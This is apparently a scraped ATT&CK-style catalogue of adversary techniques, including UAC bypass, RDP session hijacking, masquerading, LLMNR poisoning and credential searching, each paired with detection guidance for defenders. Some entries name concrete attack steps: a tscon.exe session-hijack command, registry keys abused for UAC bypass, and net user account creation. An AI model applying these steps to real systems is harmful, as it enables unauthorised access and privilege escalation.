Detection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.
Platforms: Windows
Data Sources: Process monitoring, Process command-line parameters
Defense Bypassed: Process whitelisting
Permissions Required: User
Remote Support: No
Contributors: Casey Smith, Travis Smith, Tripwire
Links |
Data Obfuscation - T1001
Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis
Requires Network: Yes
Links |
Shortcut Modification - T1023
Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
Detection: Since a shortcut’s target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.
Platforms: Windows
Data Sources: File monitoring, Process command-line parameters, Process monitoring
Permissions Required: User, Administrator
Contributors: Travis Smith, Tripwire
Links |
Launch Agent - T1159
Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).
Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).
Detection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.
Platforms: macOS
Data Sources: File monitoring, Process Monitoring
Permissions Required: User, Administrator
Obfuscated Files or Information - T1027
Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.
Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)
Adversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)
Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim’s system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim’s system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim’s machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)
Detection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).
Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)
Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.
Platforms: Linux, macOS, Windows
Data Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering, Process command-line parameters, Environment variable, Process Monitoring, Windows event logs, Network intrusion detection system, Email gateway, SSL/TLS inspection
Defense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems, Application whitelisting, Process whitelisting, Log analysis, Whitelisting by file name or path
Contributors: Red Canary, Christiaan Beek, @ChristiaanBeek
Video Capture - T1125
An adversary can leverage a computer’s peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim’s screen.
In macOS, there are a few different malware samples that record the user’s webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)
Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.
Platforms: Windows, macOS
Data Sources: Process monitoring, File monitoring, API monitoring
Permissions Required: User
Contributors: Praetorian
Links |
Masquerading - T1036
Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.
One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.
===Windows=== In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)
An example of abuse of trusted locations in Windows would be the <code>C:\Windows\System32</code> directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe".
===Linux=== Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)
An example of abuse of trusted locations in Linux would be the <code>/bin</code> directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)
Detection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.
If file names are mismatched between the binary name on disk and the binary’s resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process monitoring, Binary file metadata
Defense Bypassed: Whitelisting by file name or path
Contributors: ENDGAME, Bartosz Jerzman
Links |
https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ |
DLL Side-Loading - T1073
Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)
Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.
Detection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
Platforms: Windows
Data Sources: Process use of network, Process monitoring, Loaded DLLs
Defense Bypassed: Anti-virus, Process whitelisting
Links |
Automated Exfiltration - T1020
Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection.
When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.
Detection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process monitoring, Process use of network
Requires Network: Yes
Links |
Network Service Scanning - T1046
Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.
Platforms: Linux, macOS, Windows
Data Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network
Permissions Required: User, Administrator, SYSTEM
Links |
Replication Through Removable Media - T1091
Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.
Detection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.
Platforms: Windows
Data Sources: File monitoring, Data loss prevention
Permissions Required: User
System Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution
Links |
Remote Desktop Protocol - T1076
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.
Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)
Adversaries may also perform RDP session hijacking which involves stealing a legitimate user’s remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\windows\system32\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)
Detection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
Also, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.
Platforms: Windows
Data Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring
Permissions Required: User, Remote Desktop Users
System Requirements: RDP service enabled, account in the Remote Desktop Users group.
Contributors: Matthew Demaske, Adaptforward
Scheduled Transfer - T1029
Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.
When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.
Detection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.
Platforms: Linux, macOS, Windows
Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring
Requires Network: Yes
Links |
Bypass User Account Control - T1088
Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.
Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
-
<code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)
Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)
Detection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.
Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:
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The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)
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The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)
Analysts should monitor these Registry settings for unauthorized changes.
Platforms: Windows
Data Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters
Effective Permissions: Administrator
Defense Bypassed: Windows User Account Control
Permissions Required: User, Administrator
Contributors: Stefan Kanthak, Casey Smith
Exploit Public-Facing Application - T1190
The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL) (Citation: NVD CVE-2016-6662), standard services (like SMB (Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services. (Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include Exploitation for Defense Evasion.
For websites and databases, the OWASP top 10 gives a good list of the top 10 most common web-based vulnerabilities. (Citation: OWASP Top 10)
Detection: Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.
Platforms: Linux, Windows, macOS
Data Sources: Application logs, Packet capture, Web logs, Web application firewall logs
Links |
https://www.owasp.org/index.php/Category:OWASP%20Top%20Ten%20Project |
Logon Scripts - T1037
===Windows===
Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.
If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
===Mac===
Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.
Detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.
Platforms: macOS, Windows
Data Sources: File monitoring, Process monitoring
System Requirements: Write access to system or domain logon scripts
Links |
https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx |
Connection Proxy - T1090
A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)
The definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.
The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.
Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture
Requires Network: Yes
Contributors: Walker Johnson
Links |
Regsvr32 - T1117
Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)
Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.
Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)
Detection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)
Platforms: Windows
Data Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry
Defense Bypassed: Process whitelisting, Anti-virus
Permissions Required: User, Administrator
Remote Support: No
Contributors: Casey Smith
Links |
https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html |
File and Directory Discovery - T1083
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
===Windows===
Example utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.
===Mac and Linux===
In Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process command-line parameters, Process monitoring
Permissions Required: User, Administrator, SYSTEM
System Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Extra Window Memory Injection - T1181
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.
Execution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process’s memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Engame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)
Detection: Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Engame Process Injection July 2017)
Platforms: Windows
Defense Bypassed: Anti-virus, Host intrusion prevention systems, Data Execution Prevention
Permissions Required: Administrator, SYSTEM
Create Account - T1136
Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.
The <code>net user</code> commands can be used to create a local or domain account.
Detection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.
Platforms: Linux, macOS, Windows
Data Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs
Permissions Required: Administrator
Links |
https://docs.microsoft.com/windows/device-security/auditing/event-4720 |
Commonly Used Port - T1043
Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as * TCP:80 (HTTP) * TCP:443 (HTTPS) * TCP:25 (SMTP) * TCP/UDP:53 (DNS)
They may use the protocol associated with the port or a completely different protocol.
For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are * TCP/UDP:135 (RPC) * TCP/UDP:22 (SSH) * TCP/UDP:3389 (RDP)
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring
Requires Network: Yes
Links |
Data Encoding - T1132
Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis
Permissions Required: User
Requires Network: Yes
Contributors: Itzik Kotler, SafeBreach
Links |
LLMNR/NBT-NS Poisoning - T1171
Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)
Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.
Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)
Detection: Monitor <code>HKLM\Software\Policies\Microsoft\Windows NT\DNSClient</code> for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)
Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.
Deploy an LLMNR/NBT-NS spoofing detection tool. (Citation: GitHub Conveigh)
Platforms: Windows
Data Sources: Windows Registry, Packet capture, Netflow/Enclave netflow
Permissions Required: User
Contributors: Matthew Demaske, Adaptforward
Credentials in Files - T1081
Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
It is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)
Detection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process command-line parameters
Permissions Required: User, Administrator, SYSTEM
System Requirements: Access to files
Links |
http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html |
Spearphishing Link - T1192
Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attachment malicious files to the email itself, to avoid defenses that may inspect email attachments.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons).
Detection: URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they’re potentially malicious, or wait and capture the content if a user visits the link.
Because this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once User Execution occurs.
Platforms: Linux, Windows, macOS
Data Sources: Packet capture, Web proxy, Email gateway, Detonation chamber, SSL/TLS inspection, DNS records, Mail server
Links |
PowerShell - T1086
PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.
